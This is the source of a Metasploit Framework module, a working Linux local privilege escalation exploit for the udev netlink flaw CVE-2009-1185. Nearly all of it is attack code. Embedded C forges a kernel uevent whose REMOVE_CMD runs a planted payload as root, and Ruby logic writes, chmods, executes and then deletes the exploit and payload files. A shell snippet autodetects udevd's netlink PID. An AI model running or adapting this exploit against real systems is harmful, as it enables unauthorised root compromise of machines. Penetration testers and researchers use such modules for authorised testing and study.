rapid7/metasploit-framework

View on GitHub
modules/exploits/linux/local/udev_netlink.rb

Summary

Maintainability
C
1 day
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Linux udev Netlink Local Privilege Escalation',
          'Description' => %q{
            Versions of udev < 1.4.1 do not verify that netlink messages are
            coming from the kernel. This allows local users to gain privileges by
            sending netlink messages from userland.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'kcope', # discovery
            'Jon Oberheide',   # 95-udev-late.rules technique
            'egypt'            # metasploit module
          ],
          'Platform' => [ 'linux' ],
          'Arch' => [ ARCH_X86, ARCH_X64 ],
          'SessionTypes' => [ 'shell', 'meterpreter' ],
          'References' => [
            [ 'CVE', '2009-1185' ],
            [ 'OSVDB', '53810' ],
            [ 'BID', '34536' ]
          ],
          'Targets' => [
            [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64', { 'Arch' => ARCH_X64 } ],
            # [ 'Command payload', { 'Arch' => ARCH_CMD } ],
          ],
          'DefaultOptions' => { 'WfsDelay' => 2 },
          'DefaultTarget' => 0,
          'DisclosureDate' => '2009-04-16',
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_sys_process_get_processes
              ]
            }
          },
        }
      )
    )
    register_options [
      OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1.  Meterpreter sessions will autodetect" ])
    ]
    register_advanced_options [
      OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
    ]
  end

  def exploit
    if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0
      netlink_pid = datastore["NetlinkPID"]
    else
      print_status("Attempting to autodetect netlink pid...")
      netlink_pid = autodetect_netlink_pid
    end

    if not netlink_pid
      print_error "Couldn't autodetect netlink PID, try specifying it manually."
      print_error "Look in /proc/net/netlink for a PID near that of the udevd process"
      return
    else
      print_good "Found netlink pid: #{netlink_pid}"
    end

    sc = Metasm::ELF.new(@cpu)
    sc.parse %Q|
      #define DEBUGGING
      #define NULL ((void*)0)
      #ifdef __ELF__
        .section ".bss" rwx
        .section ".text" rwx
        .entrypoint
      #endif
      call main
      push eax
      call exit
    |

    payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"
    evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}"

    main = %Q^
/*
** All of these includes are now factorized.
**/
/*
#include <sys/types.h>
#include <sys/socket.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <linux/netlink.h>
*/

#define NETLINK_KOBJECT_UEVENT 15
#define PF_NETLINK 16
#define SOCK_DGRAM 2
#define AF_NETLINK PF_NETLINK

typedef unsigned short __kernel_sa_family_t;
typedef unsigned int __socklen_t;
typedef int __ssize_t;
typedef unsigned int __u32;
extern int close(int __fd);
typedef unsigned short sa_family_t;
typedef unsigned long size_t;
extern int socket(int __domain, int __type, int __protocol);
extern int sprintf(char *__s, const char *__format, ...);

const struct iovec {
  void *iov_base;
  size_t iov_len;
};
extern void *memset(void *__s, int __c, size_t __n);

const struct sockaddr {
  sa_family_t sa_family;
  char sa_data[14];
};

struct sockaddr_nl {
  __kernel_sa_family_t nl_family;
  unsigned short nl_pad;
  __u32 nl_pid;
  __u32 nl_groups;
};
typedef __socklen_t socklen_t;
typedef __ssize_t ssize_t;

extern int bind(int __fd, const struct sockaddr *__addr, socklen_t __len);

const struct msghdr {
  void *msg_name;
  socklen_t msg_namelen;
  const struct iovec *msg_iov;
  size_t msg_iovlen;
  void *msg_control;
  size_t msg_controllen;
  int msg_flags;
};

extern ssize_t sendmsg(int __fd, const struct msghdr *__message, int __flags);
/* end factorize */

#define NULL 0

int main() {
  int sock;
  struct iovec iov;
  struct sockaddr_nl sa;
  struct msghdr msg;
  char *mp;
  char message[4096];

  memset(sa, 0, sizeof(sa));
  sa.nl_family = AF_NETLINK;
  sa.nl_pid = #{netlink_pid};
  sa.nl_groups = 0;

  memset(&msg, 0x00, sizeof(struct msghdr));
  msg.msg_name = (void *)&sa;
  msg.msg_namelen = sizeof(sa);
  msg.msg_iov = &iov;
  msg.msg_iovlen = 1;
  msg.msg_control = NULL;
  msg.msg_controllen = 0;
  msg.msg_flags = 0;

  sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  bind(sock, (struct sockaddr *) &sa, sizeof(sa));

  mp = message;
  mp += sprintf(mp, "remove@/d") + 1;
  mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1;
  mp += sprintf(mp, "TIMEOUT=10") + 1;
  mp += sprintf(mp, "ACTION=remove") +1;
  mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1;

  iov.iov_base = (void*)message;
  iov.iov_len = (int)(mp-message);

  sendmsg(sock, &msg, 0);

  close(sock);

  return 0;
}
^
    cparser.parse(main, "main.c")
    # This will give you all the structs and #defines (from all included
    # headers) that are actually used by our C code so we can avoid
    # needing them at runtime.
    # puts cparser.factorize

    asm = cpu.new_ccompiler(cparser, sc).compile

    sc.parse asm

    sc.assemble

    begin
      elf = sc.encode_string
    rescue => e
      print_error 'Metasm Encoding failed'
      elog('Metasm Encoding failed', error: e)
      return
    end

    pl = payload.encoded_exe
    print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}"
    write_file(payload_path, pl)

    print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}"
    write_file(evil_path, elf)

    print_status "chmod'ing and running it..."
    cmd_exec("chmod 755 #{evil_path} #{payload_path}")
    cmd_exec("#{evil_path}")

    rm_f(evil_path, payload_path)
  end

  def autodetect_netlink_pid
    netlink_pid = nil

    case session.type
    when "meterpreter"
      print_status("Meterpreter session, using get_processes to find netlink pid")
      process_list = session.sys.process.get_processes
      udev_proc = process_list.find { |p| p["name"] =~ /udevd/ }
      udev_pid = udev_proc["pid"]
      print_status "udev pid: #{udev_pid}"
      netlink = read_file("/proc/net/netlink")
      netlink.each_line do |line|
        pid = line.split(/\s+/)[2].to_i
        if pid == udev_pid - 1
          netlink_pid = pid
          break
        end
      end
    else
      print_status("Shell session, trying sh script to find netlink pid")
      netlink_pid = cmd_exec(
        %q^
        for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do
          for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do
            [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ;
          done;
        done ^
      )
      netlink_pid = nil if netlink_pid.empty?
    end

    netlink_pid
  end
end